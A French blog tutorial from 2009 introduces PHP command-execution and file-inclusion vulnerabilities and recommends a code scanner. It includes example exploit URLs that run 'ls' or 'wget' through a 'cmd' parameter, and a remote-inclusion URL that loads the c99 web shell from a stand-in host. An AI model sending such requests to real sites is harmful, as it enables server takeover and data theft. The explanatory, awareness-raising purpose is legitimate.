Etude des failles les plus dangereuses du PHP PDF Imprimer Envoyer
( 0 Votes )
Écrit par Administrator   
Mardi, 17 Février 2009 14:39

 failles les plus dangereuses du PHP

 

Etude des failles les plus dangereuses du PHP

La langue PHP est une langue mondiale très connu par sa puissance et la facilitée d’apprendre cette langue et c’est pour cela elle est très populaire et entrouvre de nombreux application créer avec cette langue que se soit des forum des cms …

Le point noir de cette langue c’est le coté sécurité surtout pour les débutants

1-faille command exécution

Ce genre de faille arrive lors de l’utilisation de la fonction de command d’exécution dans la langue PHP d’une façon non correcte, comment sa ?

Les fonction command exécution sont des fonctions qui vous permet d’executer des programme de système directement sans avoir à ecrire plusieur ligne de code ,une erreur dans une fonction permet à l’attaquant d’executer des programme sur le serveur , par exemple le programme sendmail usr/sbin/sendmail/ .

Les fonction command execution qui execute les command directement sont :

Exec , shell_ , popen , system .

 

Exemple

Regardez le code suivant : http://www.monsterup.com/upload/1213117726.jpg

 

Si vous avez cette fonction dans votre application sa veut dire que vous avez une faille command execution .

L’exploiatation de la faille se fait comme suivant :

www.votresite.com/index.php?cmd= nom du programme que vous voulez executer

par exemple on peut choisir :

www.votresite.com/index.php?cmd=ls >> pour afficher tous les dossiers du serveurs

www.jaascois.com/index.php?cmd=wget xxxxx >> pour mettre un fichier dans le serveur en utlisant le programme wget .

vous croyer peut etre que c’est facile de détecter ces fonction de command mais si vous avez des dizaine de pages comment allez vous faire ???

heureusement il y a des programmes pour sa et on vas choisir le programme JAAScois X-code v1.0

un programme simple et puissant

http://www.monsterup.com/upload/1213116786.jpg

 

2-les failles fileinclusion

Ce genre de faille très dangereux puisqu’il permet à l’attaquant de hacker votre site .

L’inclusion permet la lecture et l’exécution d’un fichier déterminé dans la page actuelle

La fonction inclusion est utilise pour faciliter la tache du codeur php pour ne pas écrire le même code plusieurs fois.

Les fonctions d’inclusion sont :

Include , file , fopen , require ,include_once ,require_once

 

Si on veut par exemple inclure le fichier index.php on va ecrire include(‘index.php’) ;

Mais si le code est ecrit comme sa

http://www.monsterup.com/upload/1213118118.jpg

 

on peut exploiter cette faille pour inclure un web shell (des applications écrites avec la langue PHP qui comprend une interface de gestion de site comme ajouté effacé upload download ...) .

L’exploitations s’écrit comme sa

www.monsite.com/index.php?page=lien-du-shellpar exemple www.monsite.com/index.php?page=www.hack.com/shell-/c99.php

la fonction d’inclusion permettras la lecture et l’exécution de l’application sur votre site

voici un exemple d’un web shell le plus connu c99 .

L'image “http://blog.sverde1.com/wp-content/uploads/c99-shell.jpg” ne peut être affichée car elle contient des erreurs.

comme vous pouvez constatez il y as tous les informations concernant votre site ….

On peut utiliser le même programme pour détecter les failles includes dans un script surtout si on a un beaucoup de script et beaucoup ligne de command

http://www.monsterup.com/upload/1213116916.jpg

c’était une petite étude pour vous montrez les plus dangereux faille de la langue php et rendez vous pour les faille XSS et les injections SQL prochainement .

Remarque : quand vous utilisé le programme jaascois x-code pour scanner un script le programme affiche plusieurs ligne de code mais sa ne veut pas dire que tous ces fonction sont vulnérable mais sa veut seulement dire que se sont des fonctions qui peuvent être vulnérable et c’est à vous de les vérifier vous-même soit par vérifier le code source du script soit en essayant d’exploiter la faille par le navigateur web.

Attention : ceci est juste cour à titre informatif et non pas une incitation pour abuser ou faire

mal aux autres

 

 

derniers cours sur votre mail

Enter your email address:

Delivered by FeedBurner

PUBLIER CETTE PAGE OU VOTER POUR CET ARTICLE SUR DIGG-FRANCE.COM